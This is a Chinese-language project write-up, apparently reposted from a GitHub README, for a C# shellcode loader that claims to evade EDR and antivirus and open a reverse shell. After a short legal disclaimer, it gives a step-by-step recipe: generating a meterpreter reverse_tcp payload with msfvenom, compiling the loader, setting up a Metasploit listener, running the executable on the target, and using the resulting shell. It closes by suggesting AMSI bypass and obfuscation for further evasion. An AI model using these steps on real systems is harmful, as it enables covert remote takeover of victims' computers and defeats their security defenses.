免责声明
仅限用于技术研究和获得正式授权的攻防项目,请使用者遵守《中华人民共和国网络安全法》,切勿用于任何非法活动,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律连带责任
项目介绍
项目演示了使用Windows API函数(例如:VirtualAlloc、CreateThread和WaitForSingleObject)绕过EDR和防病毒保护,有效负载被直接注入到进程内存中而不被安全工具检测到,从而为反向shell建立到远程系统的连接
项目优点
绕过标准的EDR和防病毒解决方案
在内存中执行shell代码以创建反向shell
利用VirtualAlloc和CreateThread将有效负载直接注入进程内存
环境需求
Windows操作系统 ( Windows 11 Pro)
Kali Linux (反弹shell监听)
Visual Studio or any C# compiler
项目使用
Step 1:修改shellcode:
在编译之前需要修改shell代码以指向您自己的反向外壳的IP地址和端口,您可以使用msfvenom生成shellcode:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f csharp
用刚才生成的shellcode替换Program.cs中的byte[] buf部分。
Step 2:编译代码
在Visual Studio中打开该项目或者使用以下命令
csc loader.cs
您也可以在Release模式下编译以获得更好的优化
csc -optimize loader.cs
Step 3:开启监听
在您的Kali Linux机器上启动一个监听器来捕获反向shell,在Metasploit中使用以下命令:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT <YOUR_PORT>
run
Step 4:执行shellcode
传输编译好的exe文件复制到Windows计算机上,您可以手动执行该文件也可以使用任何其他方法来运行该文件:
loader.exe
Step 5:获取shell
在目标机器上执行有效负载后您应该会在Metasploit控制台中看到一个反向shell会话
meterpreter > sysinfo
meterpreter > shell
Step 6:其他绕过技术
为了避免被高级EDR解决方案检测到,可以考虑使用进程注入、模糊处理或AMSI旁路等技术,这个PoC可以用这些方法来扩展,以实现更鲁棒的规避
项目地址
https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access